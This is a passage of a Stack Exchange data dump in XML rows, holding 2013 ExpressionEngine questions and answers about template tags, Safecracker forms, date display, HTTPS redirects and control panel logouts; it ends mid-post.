  <row Id="12951" PostTypeId="2" ParentId="12038" CreationDate="2013-08-20T17:31:09.257" Score="2" Body="&lt;p&gt;When you save a variable with a specific scope (in this case, &lt;code&gt;scope=&quot;user&quot;&lt;/code&gt;) you should use the same scope when you get it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're showing the errors within the same page request there's no need to actually save the variable at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible in this case that the tag pairs &lt;code&gt;{global_errors}&lt;/code&gt; and &lt;code&gt;{field_errors}&lt;/code&gt; are removed from the template by Safecracker and then only output if there are errors. If that is the case you can capture them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field_errors}&#xA;    {exp:stash:append_list name=&quot;field_errors&quot;}&#xA;        {stash:error}{error}{/stash:error}&#xA;    {/exp:stash:append_list}&#xA;{/field_errors}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And access them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;field_errors&quot; process=&quot;end&quot;}&#xA;    {if count == 1}&amp;lt;h2&amp;gt;Field Errors&amp;lt;/h2&amp;gt;{/if}&#xA;    &amp;lt;p&amp;gt;{error}&amp;lt;/p&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-08-20T17:31:09.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12952" PostTypeId="1" AcceptedAnswerId="12961" CreationDate="2013-08-20T17:49:58.387" Score="1" ViewCount="48" Body="&lt;p&gt;I will delete this question if forceid is singular to the site I am dealing with but what is the difference between forceid and entry_id if they both equal the same thing? I am also dealing with the Page module if that helps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/_head&quot; forceid=&quot;18&quot; weblogname=&quot;main&quot;}  &#xA;    {exp:weblog:entries weblog=&quot;site&quot; show_pages=&quot;yes&quot; rdf=&quot;off&quot; disable=&quot;trackbacks&quot; limit=&quot;1&quot; entry_id=&quot;18&quot;}  &#xA;{embed=&quot;site/_foot&quot; forceid = &quot;18&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1917" LastEditorUserId="55" LastEditDate="2013-08-20T18:17:55.600" LastActivityDate="2013-08-20T22:55:34.410" Title="What is the difference between forceid and entry_id on a template?" Tags="|entryid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12953" PostTypeId="2" ParentId="12948" CreationDate="2013-08-20T17:55:33.873" Score="3" Body="&lt;p&gt;It sounds as though you did not get all the files uploaded correctly. Try deleting the &lt;code&gt;/system/expressionengine/third_party/freeform&lt;/code&gt; and &lt;code&gt;/themes/third_party/freeform&lt;/code&gt; folders and upload them again from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of EE?&lt;/p&gt;&#xA;" OwnerUserId="315" LastEditorUserId="55" LastEditDate="2013-08-20T18:21:42.883" LastActivityDate="2013-08-20T18:21:42.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12954" PostTypeId="2" ParentId="12934" CreationDate="2013-08-20T18:28:45.177" Score="6" Body="&lt;p&gt;The &quot;limit entries by status&quot; setting for the Relationship field controls what entries are available to select in the control panel - &lt;em&gt;not&lt;/em&gt; what entries will display in your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have the field set to &quot;any status&quot;, and you've selected child entries with both &quot;open&quot; and &quot;featured&quot; statuses, then your tag will need an explicit &lt;code&gt;status&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_articles status=&quot;not closed&quot;}&#xA;    &amp;lt;p&amp;gt;{related_articles:title}&amp;lt;/p&amp;gt;&#xA;{/related_articles}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know you mentioned you tried that, but maybe you added the &lt;code&gt;status&lt;/code&gt; parameter to the &lt;code&gt;channel:entries&lt;/code&gt; tag instead of the &lt;code&gt;related_articles&lt;/code&gt; tag pair?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-20T18:28:45.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12955" PostTypeId="1" CreationDate="2013-08-20T18:37:34.627" Score="1" ViewCount="116" Body="&lt;p&gt;So I'm developing a site using &lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;Solspace Tag&lt;/a&gt;.  A little background... I have a site that displays tags in two places.  One global cloud tag in the footer, and another in an entries detail page (tags associated with that specific entry).  When a user clicks on a tag, they should be taken to a page that displays all entries with that particular tag. I've been trying to get the example from the documentation to work, but the page does not output anything.  The only thing in the template is the following tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:entries&#xA;    inclusive=&quot;yes&quot;&#xA;    orderby=&quot;entry_date&quot;&#xA;    sort=&quot;asc&quot;&#xA;    limit=&quot;20&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;{tag_paginate}&#xA;    &amp;lt;p&amp;gt;Page {tag_current_page} of {tag_total_pages}. {tag_pagination_links}&amp;lt;/p&amp;gt;&#xA;{/tag_paginate}&#xA;&#xA;{/exp:tag:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to wrap this in an entries tag as well?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news|reviews|etc&quot;}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does work is {exp:tag:tag_name}. I can output the tag name based on the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="990" LastEditorUserId="27" LastEditDate="2013-08-21T09:29:59.413" LastActivityDate="2013-08-21T09:30:20.477" Title="Can't get Solspace Tag Entries to work" Tags="|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12956" PostTypeId="2" ParentId="12909" CreationDate="2013-08-20T19:29:54.480" Score="2" Body="&lt;p&gt;You'll need PHP to create first a list of entry_ids, which will then be fed to {exp:tag:tags}. Then, you will have to create a list of unique tags, which can also be done with a &lt;em&gt;PHP array&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Creating a list of entry_ids based on a tag&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First we'll need to create a list of entry_ids to pass into {exp:tag:tags}. Set PHP to &lt;strong&gt;Output&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $entry_ids = &quot;&quot;; ?&amp;gt;&#xA;{exp:tag:entries tag=&quot;mockups&quot;}&#xA;  &amp;lt;?php $entry_ids .= '{entry_id}|'; ?&amp;gt; /* concatenates entry_ids */&#xA;{/exp:tag:entries}&#xA;&amp;lt;?php $entry_ids = rtrim($entry_ids, '|'); ?&amp;gt; /* removes last pipe character */&#xA;&#xA;{embed=&quot;tag/cloud&quot; entry_ids=&quot;&amp;lt;?php echo $entry_ids; ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Creating a unique list of tags based on the entry_ids&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In your &quot;tag/cloud&quot; embed (the template_group/template naming is up to you), create a unique list of tags using PHP and {exp:tag:tags}. A &lt;em&gt;PHP array&lt;/em&gt; can be very useful to weed out duplicate data (not just here, but in many add-ons). Set PHP to &lt;strong&gt;Output&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $tags = array(); ?&amp;gt;&#xA;{exp:tag:tags entry_id=&quot;{embed:entry_ids}&quot;}&#xA;  &amp;lt;?php $tags['{tag_id}'] = '{tag}'; ?&amp;gt;&#xA;{/exp:tag:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will result in an array with unique tags in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you can elaborate the above to contain more data, or even create tag hyperlinks directly as the array values.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Display the tag &quot;cloud&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once the tag array is complete, you can use PHP to loop through each unique tag to display them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Tags for these entries:&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php foreach($tags as $tag_id =&amp;gt; $tag_name) :?&amp;gt;&#xA;  &amp;lt;?php echo $tag_name; ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A similar strategy might be possible using something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, but this uses the available native EE tools.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-20T19:29:54.480" CommentCount="0" CommunityOwnedDate="2013-08-20T19:29:54.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="12957" PostTypeId="1" CreationDate="2013-08-20T21:08:20.397" Score="3" ViewCount="202" Body="&lt;p&gt;I have an entry that has a date. If it starts and ends on the same day, it should only display the day. Like 'September 21, 2013'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But right now, my code has it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;strong&amp;gt;Date:&amp;lt;/strong&amp;gt; {entry_date format='%F&amp;amp;nbsp;%j'}&amp;amp;mdash;{expiration_date format='%j'}, {expiration_date format='%Y'}&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which pushes out September 21-21, 2013. Is there a way I can modify my code where it would show a single date if the event doesn't stretch over multiple days?&lt;/p&gt;&#xA;" OwnerUserId="340" LastEditorUserId="150" LastEditDate="2013-08-21T05:05:19.337" LastActivityDate="2013-08-21T05:20:29.847" Title="How to display a date if entry is only for one day only" Tags="|date|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12958" PostTypeId="2" ParentId="12955" CreationDate="2013-08-20T21:12:41.723" Score="2" Body="&lt;p&gt;I think I figured it out.  For anyone interested, the global footer along with the tags in the detail pages uses the &lt;code&gt;websafe_separator=&quot;-&quot;&lt;/code&gt; parameter, while the tag entries page (page that user lands on after they click on a tag&quot; did not have this parameter in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found in the docs &lt;a href=&quot;http://www.solspace.com/docs/tag/entries/#websafe_separator&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="990" LastEditorUserId="27" LastEditDate="2013-08-21T09:30:20.477" LastActivityDate="2013-08-21T09:30:20.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12959" PostTypeId="2" ParentId="10727" CreationDate="2013-08-20T21:22:30.850" Score="1" Body="&lt;p&gt;Have you tried the hidden input method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ input type=&quot;hidden&quot; name=&quot;tax_exempt[#]&quot; value=&quot;yes&quot; ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be interested to know if this works too.&lt;/p&gt;&#xA;" OwnerUserId="1926" LastActivityDate="2013-08-20T21:22:30.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12960" PostTypeId="2" ParentId="12957" CreationDate="2013-08-20T22:31:11.507" Score="8" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entry_date format='%F %j'}{if &quot;{entry_date format='%Y%m%d'}&quot; != &quot;{expiration_date format='%Y%m%d'}&quot;}—{expiration_date format='%j'}{/if}, {expiration_date format='%Y'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-20T22:31:11.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12961" PostTypeId="2" ParentId="12952" CreationDate="2013-08-20T22:55:34.410" Score="2" Body="&lt;p&gt;Yes, forceid is specific to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of the {embed} tag, forceid is a user created variable--the same kind of thing as weblogname, in your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/_head&quot; forceid=&quot;18&quot; weblogname=&quot;main&quot;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These become variables available in the embedded templates. E.g., in site/_head, one can use {embed:forceid} and {embed:weblogname} variables whose values are set in the above {embed} tag.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-20T22:55:34.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12962" PostTypeId="2" ParentId="12943" CreationDate="2013-08-20T23:17:46.417" Score="2" Body="&lt;p&gt;EE does not have any built-in link constructors that directly handle single sites spanning multiple domains / protocols / ports. So, to your question: EE doesn't understand that part of your site lives in HTTP, and part lives in HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to just use hand-entered URLs. For the home page, instead of using {path=''}, use literally: &lt;a href=&quot;http://domain.com/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, for other pages, you may need to construct your URLs by building out with {url_title} or {page_uri}, e.g., &lt;a href=&quot;http://domain.com/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/&lt;/a&gt;{url_title} or &lt;a href=&quot;http://domain.com&quot; rel=&quot;nofollow&quot;&gt;http://domain.com&lt;/a&gt;{page_uri}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to conditionally check for HTTP vs HTTPS in order to construct the URL, the &lt;a href=&quot;http://devot-ee.com/add-ons/ssl-check&quot; rel=&quot;nofollow&quot;&gt;SSL Check&lt;/a&gt; add-on might help. Practically, if you need to do this kind-of conditional check in a bunch of places in a bunch of templates, you could move the conditional into a snippet. In pseudo-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if segment_1 != &quot;account&quot; and HTTPS&#xA;   return http://domain.com/&#xA;else if segment_1== &quot;account&quot; and HTTP&#xA;   return https://domain.com/&#xA;else&#xA;   return /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, if you can't get EE to readily produce links with the right protocol, and you're willing to insert an extra redirect into requests that are to the incorrect protocol (HTTPS but should be HTTP, or vice versa), you can code this kind of redirect rule in your .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On&#xA;  RewriteBase /&#xA;  #For HTTPS that should be HTTP&#xA;  RewriteCond %{SERVER_PORT} 443&#xA;  RewriteCond %{REQUEST_URI} !^/account(.*)$ [NC]&#xA;  RewriteRule ^(.*)$ &quot;http://%{HTTP_HOST}/$1&quot; [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding an extra redirect isn't ideal, but if you have a rare case you need to &quot;patch&quot; this way, it's workable.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-20T23:17:46.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12963" PostTypeId="1" AcceptedAnswerId="13681" CreationDate="2013-08-20T23:44:36.993" Score="2" ViewCount="162" Body="&lt;p&gt;&lt;strong&gt;Prolem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ExpressionEngine Core 2.6.1. After I click around the control panel for a bit, sometimes updating templates and sometimes uploading images, I get kicked out. When I get kicked out, instead of just logging me out and showing the login screen, my browser tells me that there is no data available. This is the message that Chrome sends:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load the webpage because the server sent no data.&#xA;  Error code: ERR_EMPTY_RESPONSE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solutions I've tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried in Chrome, Firefox, and Safari, and the same thing is happening everytime. It usually happens when I repeat the same action about 3 or 4 times (i.e. I upload 4 images, or I update a template 4 times in a row). I try to refresh my browser, clear browsing data, etc. and it keeps showing no data for about 1-2 minutes. After 1-2 minutes, I refresh and the login screen will show up again and I can log in. Throughout the whole process, the front end of my site loads images and displays perfectly fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;Control Panel Session Type&lt;/strong&gt; is set to 'Cookies and Session ID',&#xA;and my &lt;strong&gt;User Session Type&lt;/strong&gt; is set to cookies only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing some research and finding, not the exact but, a similar issue here &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/8825/keep-getting-logged-out-of-control-panel&quot;&gt;Keep Getting Logged Out of Control Panel&lt;/a&gt;, I added the following sections of code to my config.pfp file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;someprefix&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;;&#xA;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_ttl'] = 14400;&#xA;$config['user_session_ttl'] = 3600;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In regards to the ERR_EMPTY_RESPONSE code, I found this help thread. &lt;a href=&quot;http://ellislab.com/forums/viewthread/178569/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/forums/viewthread/178569/&lt;/a&gt;&#xA;I tried putting php_value memory_limit 128M  into my htaccess file, but that causes my site to have an error. Maybe I'm not adding it correctly? Should I be putting this within any tags in my htaccess file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that nothing is fixing the issue. This is happening very frequently and disrupting my work flow.&lt;/p&gt;&#xA;" OwnerUserId="899" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-09-11T15:53:47.327" Title="Control Panel locking me out after uploads and template changes - says no data" Tags="|database|config|cookies|logout|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12964" PostTypeId="2" ParentId="12618" CreationDate="2013-08-20T23:45:59.697" Score="1" Body="&lt;p&gt;If you could include the footnote number in the note itself, I think that'd be available via back reference in the Low Replace tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if your footnotes were like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[[This is a footnote.#1]]&#xA;[[This is another footnote.#2]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I think you could do this in your Low Replace tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;SPACE\[\[(.*?)(\#\d+)\]\]&quot; replace=&quot;&amp;lt;span class=QUOTEfootnote-numberQUOTE&amp;gt;&amp;amp;sup$2;&amp;lt;/span&amp;gt;&amp;lt;span class=QUOTEfootnoteQUOTE&amp;gt;&amp;lt;span class=QUOTEfootnote-numberQUOTE&amp;gt;&amp;amp;sup$2;&amp;lt;/span&amp;gt; $1&amp;lt;/span&amp;gt;&quot; regex=&quot;yes&quot;}&#xA;    {blog_post_content}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if changing your footnote authoring style isn't possible / practical, I think you'd have to &quot;post process&quot; your footnote HTML to count notes, and insert the right count per note.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-20T23:45:59.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12967" PostTypeId="2" ParentId="12957" CreationDate="2013-08-21T03:52:14.193" Score="1" Body="&lt;p&gt;Might be overkill but another option would be something like Encaf's &lt;a href=&quot;http://devot-ee.com/add-ons/encaf-double-date&quot; rel=&quot;nofollow&quot;&gt;double date&lt;/a&gt; which I've found to be handy on a few projects.&lt;/p&gt;&#xA;" OwnerUserId="787" LastActivityDate="2013-08-21T03:52:14.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12968" PostTypeId="1" AcceptedAnswerId="12993" CreationDate="2013-08-21T05:05:42.360" Score="5" ViewCount="193" Body="&lt;p&gt;I built a safecracker form to allow users to post events to a &lt;a href=&quot;http://www.solspace.com/software/detail/calendar/&quot; rel=&quot;nofollow&quot;&gt;Solspace calendar&lt;/a&gt;, however, for some reason, the actual form is only showing on the page when a superuser is logged in.  If anyone who is a regular member views the page, the form doesn't display.  I've looked at the source and everything is there EXCEPT what would be between the form tags (or the &lt;code&gt;{exp:safecracker}&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, the page itself is visible to the appropriate user groups.  It's just the actual form that seems to be omitted if I attempt to view the page as a regular (logged in) user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for the safecracker form in the first place is because I found the Solspace calendar pre-fab form doesn't quite work... and if I'm logged in as superuser, the form I built works great! (which is making it that much more frustrating).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form itself is quite simple, with the required fields set as hidden and some jquery magic to handle the formatting of the values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:safecracker channel=&quot;calendar_events&quot; return=&quot;home&quot; include_jquery=&quot;no&quot; safecracker_head=&quot;no&quot;}&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;calendar_id&quot; value=&quot;23&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;start_date[0]&quot; id=&quot;startDate&quot; value=&quot;&quot; /&amp;gt;       &#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;end_date[0]&quot; id=&quot;endDate&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;start_time[0]&quot; id=&quot;startTime&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;end_time[0]&quot; id=&quot;endTime&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;event_created_by&quot; value=&quot;{member_id}&quot; /&amp;gt;&#xA;&#xA; ...&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1666" LastEditorUserId="1666" LastEditDate="2013-08-21T15:42:33.260" LastActivityDate="2013-08-21T18:10:19.907" Title="Why is my Safecracker form only visible to super-admins?" Tags="|safecracker|solspace-calendar|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12969" PostTypeId="2" ParentId="12957" CreationDate="2013-08-21T05:20:29.847" Score="0" Body="&lt;p&gt;Both entry_date and expiration_date are being stored as UNIX timestamp and also output the same if we don't pass the format parameter. So I think, there is no need to format the entry_date and expiration_date while comparison. It would be simple to write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entry_date format='%F %j'}{if entry_date != expiration_date}—{expiration_date format='%j'}{/if}, {expiration_date format='%Y'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-21T05:20:29.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12970" PostTypeId="1" AcceptedAnswerId="13001" CreationDate="2013-08-21T06:37:34.570" Score="2" ViewCount="590" Body="&lt;p&gt;I am getting &quot;The filetype you are attempting to upload is not allowed.&quot; error when uploading pdf's with the file manager via wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upload directory is writeable, has all field types allowed and xss filtering is turned off. I can upload other file types just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can upload pdf's when I use the file manager by itself (not via publish layout). I can also upload pdf's using the same upload directory and the rte field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running ee 2.6.1 and wygwam 3.1.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1336" LastEditorUserId="1336" LastEditDate="2013-08-21T06:44:06.210" LastActivityDate="2013-08-21T21:36:10.297" Title="can't upload pdf's with wygwam and file manager" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12971" PostTypeId="1" AcceptedAnswerId="19190" CreationDate="2013-08-21T07:34:41.543" Score="1" ViewCount="82" Body="&lt;p&gt;I'm trying to find the definitive way of &lt;strong&gt;validating whether a Safecracker File custom field has been filled in or not&lt;/strong&gt;. The server side method using the Codeigniter validation class only semi works for me, and I'd much rather get client side validation working first anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone found a reliable way of doing this? Ideally it'd be a validation library like &lt;strong&gt;parsley.js&lt;/strong&gt;, but I can see that to use that you need to add &lt;strong&gt;data-validate=&quot;parsley&quot;&lt;/strong&gt; to the &lt;strong&gt;form element&lt;/strong&gt; - something that isn't possible using Safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-02-06T22:04:47.303" Title="Safecracker File client side validation options?" Tags="|safecracker|validation|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12972" PostTypeId="1" AcceptedAnswerId="13117" CreationDate="2013-08-21T07:39:27.283" Score="2" ViewCount="127" Body="&lt;p&gt;I'm wanting to add a new parameter (data-validate=&quot;parsley&quot;) to the Safecracker form tag. I know this isn't possible out of the box but was wondering whether it was possible to write a simple(ish) extension that could do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can give me some pointers, I'm willing to have a go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-08-24T15:43:42.403" Title="Possible to add data-validate=&quot;x&quot; to Safecracker form tag?" Tags="|safecracker|add-on-development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12973" PostTypeId="2" ParentId="12950" CreationDate="2013-08-21T07:54:12.153" Score="1" Body="&lt;p&gt;Turns out it was the silent limit of 100 from EE that was preventing them being displayed. So I just added a limit=&quot;200&quot; to fix it.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-08-21T07:54:12.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12975" PostTypeId="1" CreationDate="2013-08-21T09:14:43.300" Score="3" ViewCount="227" Body="&lt;p&gt;On our web-site each article (Single Entry Page) is accompanied by 4 related articles. Those 4 are chosen by the editors. I set up a native EE 2.6.1 Relationships Field for them.&#xA;For the article itself I set up a Content Elements Field.&#xA;In the related articles are below the main article I´d like to show&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the title of the related articles&lt;/li&gt;&#xA;&lt;li&gt;the articles first image (called intro_image)&lt;/li&gt;&#xA;&lt;li&gt;I also need the url_title_path, to make title + image clickable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have no problems with title + url, but can´t get the CE tag to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;article&quot; status=&quot;open|featured&quot;}&#xA;       {related_article status=&quot;not closed&quot;}&#xA;          {artikel}&#xA;            {gallery}&#xA;              {if element_name==&quot;intro_image&quot;}&#xA;                 {images}&#xA;                    {related_article:image} &amp;lt;= doesn´t work!&#xA;                 {images}&#xA;              {/if}&#xA;            {/gallery}&#xA;          {/artikel}&#xA;          &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{related_article:url_title_path='artikel/index'}&quot;&amp;gt;&#xA;{related_article:title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;      {/related_article}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is working fine for the title and the URL, but not for the image. I tried to prefix &lt;code&gt;{artikel}&lt;/code&gt;, &lt;code&gt;{gallery}&lt;/code&gt;, 